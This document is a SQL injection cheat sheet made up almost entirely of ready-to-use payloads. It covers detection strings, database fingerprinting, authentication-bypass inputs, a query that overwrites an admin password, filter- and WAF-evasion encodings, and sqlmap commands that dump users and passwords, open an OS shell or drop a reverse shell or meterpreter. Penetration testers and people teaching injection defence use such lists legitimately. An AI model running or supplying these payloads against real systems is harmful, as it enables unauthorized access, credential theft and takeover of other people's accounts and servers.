SQL injection

A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application

Summary

Entry point detection

Detection of an SQL injection entry point Simple characters

```
'
%27
"
%22
#
%23
;
%3B
)
```

```
Wildcard (*)
```

Multiple encoding

```
%%2727
%25%27
```

Merging characters

```
`+HERP
'||'DERP
'+'herp
' 'DERP
'%20'HERP
'%2B'HERP
```

Logic Testing

```
page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false
```

Weird characters

```
Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was
transformed into U+0022 QUOTATION MARK (")
Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was
transformed into U+0027 APOSTROPHE (')
```

DBMS Identification

```
["conv('a',16,2)=conv('a',16,2)"                    ,"MYSQL"],
["connection_id()=connection_id()"                  ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                    ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"        ,"MSSQL"],
["@@CONNECTIONS>0"                                  ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                      ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                            ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                            ,"MSSQL"],
["ROWNUM=ROWNUM"                                    ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                    ,"ORACLE"],
["LNNVL(0=123)"                                     ,"ORACLE"],
["5::int=5"                                         ,"POSTGRESQL"],
["5::integer=5"                                     ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"        ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"          ,"POSTGRESQL"],
["current_database()=current_database()"            ,"POSTGRESQL"],
```

```
["sqlite_version()=sqlite_version()"                ,"SQLITE"],
["last_insert_rowid()>1"                            ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"          ,"SQLITE"],
["val(cvar(1))=1"                                   ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"                ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                  ,"MSACCESS"],
["1337=1337",    "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",      "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
```

SQL injection using SQLmap

Basic arguments for SQLmap

```
sqlmap --url="<url>" -p username --user-agent=SQLMAP --random-agent --threads=10 --risk=3 --level=5 --eta --dbms=MySQL --os=Linux --banner --is-dba --users --passwords --current-user --dbs
```

Custom injection in UserAgent/Header/Referer/Cookie

```
python sqlmap.py -u "http://example.com" --data "username=admin&password=pass"  --headers="x-forwarded-for:127.0.0.1*"
The injection is located at the '*'
```

Second order injection

```
python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs
```

Shell

```
SQL Shell
python sqlmap.py -u "http://example.com/?id=1"  -p id --sql-shell

Simple Shell
python sqlmap.py -u "http://example.com/?id=1"  -p id --os-shell

Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1"  -p id --os-pwn
```

Using suffix to tamper the injection

```
python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "
```

General tamper option and tamper's list

```
tamper=name_of_the_tamper
```

Tamper	Description
apostrophemask.py	Replaces apostrophe character with its UTF-8 full width counterpart
apostrophenullencode.py	Replaces apostrophe character with its illegal double unicode counterpart
appendnullbyte.py	Appends encoded NULL byte character at the end of payload
base64encode.py	Base64 all characters in a given payload
between.py	Replaces greater than operator ('>') with 'NOT BETWEEN 0 AND #'
bluecoat.py	Replaces space character after SQL statement with a valid random blank character.Afterwards replace character = with LIKE operator
chardoubleencode.py	Double url-encodes all characters in a given payload (not processing already encoded)
commalesslimit.py	Replaces instances like 'LIMIT M, N' with 'LIMIT N OFFSET M'
commalessmid.py	Replaces instances like 'MID(A, B, C)' with 'MID(A FROM B FOR C)'
concat2concatws.py	Replaces instances like 'CONCAT(A, B)' with 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py	Url-encodes all characters in a given payload (not processing already encoded)
charunicodeencode.py	Unicode-url-encodes non-encoded characters in a given payload (not processing already encoded)
equaltolike.py	Replaces all occurances of operator equal ('=') with operator 'LIKE'
escapequotes.py	Slash escape quotes (' and ")
greatest.py	Replaces greater than operator ('>') with 'GREATEST' counterpart
halfversionedmorekeywords.py	Adds versioned MySQL comment before each keyword

Tamper	Description
ifnull2ifisnull.py	Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)'
modsecurityversioned.py	Embraces complete query with versioned comment
modsecurityzeroversioned.py	Embraces complete query with zero-versioned comment
multiplespaces.py	Adds multiple spaces around SQL keywords
nonrecursivereplacement.py	Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters
percentage.py	Adds a percentage sign ('%') infront of each character
overlongutf8.py	Converts all characters in a given payload (not processing already encoded)
randomcase.py	Replaces each keyword character with random case value
randomcomments.py	Add random comments to SQL keywords
securesphere.py	Appends special crafted string
sp_password.py	Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs
space2comment.py	Replaces space character (' ') with comments
space2dash.py	Replaces space character (' ') with a dash comment ('--') followed by a random string and a new line ('\n')
space2hash.py	Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
space2morehash.py	Replaces space character (' ') with a pound character ('#') followed by a random string and a new line ('\n')
space2mssqlblank.py	Replaces space character (' ') with a random blank character from a valid set of alternate characters

Tamper	Description
space2mssqlhash.py	Replaces space character (' ') with a pound character ('#') followed by a new line ('\n')
space2mysqlblank.py	Replaces space character (' ') with a random blank character from a valid set of alternate characters
space2mysqldash.py	Replaces space character (' ') with a dash comment ('--') followed by a new line ('\n')
space2plus.py	Replaces space character (' ') with plus ('+')
space2randomblank.py	Replaces space character (' ') with a random blank character from a valid set of alternate characters
symboliclogical.py	Replaces AND and OR logical operators with their symbolic counterparts (&& and
unionalltounion.py	Replaces UNION ALL SELECT with UNION SELECT
unmagicquotes.py	Replaces quote character (') with a multi-byte combo %bf%27 together with generic comment at the end (to make it work)
uppercase.py	Replaces each keyword character with upper case value 'INSERT'
varnish.py	Append a HTTP header 'X-originating-IP'
versionedkeywords.py	Encloses each non-function keyword with versioned MySQL comment
versionedmorekeywords.py	Encloses each keyword with versioned MySQL comment
xforwardedfor.py	Append a fake HTTP header 'X-Forwarded-For'

)

Authentication bypass

```
'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
```

```
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
```

```
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
```

Polyglot injection (multicontext)

```
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
```

Routed injection

```
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
```

Insert Statement - ON DUPLICATE KEY UPDATE

ON DUPLICATE KEY UPDATE keywords is used to tell MySQL what to do when the application tries to insert a row that already exists in the table. We can use this to change the admin password by:

```
Inject using payload:
  attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bc
rypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --
```

```
The query would look like this:
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_h
ash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY U
PDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");

This query will insert a row for the user “attacker_dummy@example.com”. It will
also insert a row for the user “admin@example.com”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL
 to update the `password` column of the already existing row to "bcrypt_hash_o
f_qwerty".

After this, we can simply authenticate with “admin@example.com” and the password
 “qwerty”!
```

WAF Bypass

No Space (%20) - bypass using whitespace alternatives

```
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
```

No Whitespace - bypass using comments

```
?id=1/*comment*/and/**/1=1/**/--
```

No Whitespace - bypass using parenthesis

```
?id=(1)and(1)=(1)--
```

No Comma - bypass using OFFSET, FROM and JOIN

```
LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (
SELECT 3)c JOIN (SELECT 4)d
```

Blacklist using keywords - bypass using uppercase/lowercase

```
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
```

Blacklist using keywords case insensitive - bypass using an equivalent operator

```
AND   -> &&
OR    -> ||
=     -> LIKE,REGEXP, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING
```

Information_schema.tables Alternative

```
select * from mysql.innodb_table_stats;
+---------------+-----------------------+---------------------+--------+----------
-----------+--------------------------+
| database_name | table_name            | last_update         | n_rows | cluster
ed_index_size | sum_of_other_index_sizes |
+---------------+-----------------------+---------------------+--------+----------
-----------+--------------------------+
| dvwa          | guestbook             | 2017-01-19 21:02:57 |      0 |
          1 |                        0 |
| dvwa          | users                 | 2017-01-19 21:03:07 |      5 |
          1 |                        0 |
...
+---------------+-----------------------+---------------------+--------+----------
-----------+--------------------------+

mysql> show tables in dvwa;
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook      |
| users          |
+----------------+
```

Version Alternative

```
mysql> select @@innodb_version;
+------------------+
| @@innodb_version |
+------------------+
| 5.6.31           |
+------------------+

mysql> select @@version;
+-------------------------+
| @@version               |
+-------------------------+
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+

mysql> mysql> select version();
+------------------------+
| version()              |
+------------------------+
```

```
| 5.6.31-0ubuntu0.15.10.1 |
+-------------------------+
```

Thanks to - Other resources

- Detect SQLi
  - Manual SQL Injection Discovery Tips (https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
  - NetSPI SQL Injection Wiki (https://sqlwiki.netspi.com/)
- MySQL:
  - [PentestMonkey's mySQL injection cheat sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet (http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet))
  - [Reiners mySQL injection Filter Evasion Cheatsheet] (https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/ (https://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/))
  - Alternative for Information_Schema.Tables in MySQL (https://osandamalith.com/2017/02/03/alternative-for-information_schema-tables-in-mysql/)
  - The SQL Injection Knowledge base (https://websec.ca/kb/sql_injection)
- MSSQL:
  - [EvilSQL's Error/Union/Blind MSSQL Cheatsheet] (http://evilsql.com/main/page2.php (http://evilsql.com/main/page2.php))
  - [PentestMonkey's MSSQL SQLi injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet (http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet))
- ORACLE:
  - [PentestMonkey's Oracle SQLi Cheatsheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet (http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injection-cheat-sheet))
- POSTGRESQL:
  - [PentestMonkey's Postgres SQLi Cheatsheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet (http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injection-cheat-sheet))
- Others
  - SQLi Cheatsheet - NetSparker (https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)
  - [Access SQLi Cheatsheet] (http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html (http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html))
  - [PentestMonkey's Ingres SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-

cheat-sheet (http://pentestmonkey.net/cheat-sheet/sql-injection/ingres-sql-injection-cheat-sheet))
    - [Pentestmonkey's DB2 SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet (http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet))
    - [Pentestmonkey's Informix SQL Injection Cheat Sheet] (http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet (http://pentestmonkey.net/cheat-sheet/sql-injection/informix-sql-injection-cheat-sheet))
    - [SQLite3 Injection Cheat sheet] (https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet (https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet))
    - [Ruby on Rails (Active Record) SQL Injection Guide] (http://rails-sqli.org/ (http://rails-sqli.org/))
    - ForkBombers SQLMap Tamper Scripts Update (http://www.forkbombers.com/2016/07/sqlmap-tamper-scripts-update.html)
    - SQLi in INSERT worse than SELECT (https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/)
    - Manual SQL Injection Tips (https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
- Second Order:
    - Analyzing CVE-2018-6376 – Joomla!, Second Order SQL Injection (https://www.notsosecure.com/analyzing-cve-2018-6376/)
    - Exploiting Second Order SQLi Flaws by using Burp & Custom Sqlmap Tamper (https://pentest.blog/exploiting-second-order-sqli-flaws-by-using-burp-custom-sqlmap-tamper/)
- Sqlmap:
    - #SQLmap protip @zh4ck (https://twitter.com/zh4ck/status/972441560875970560)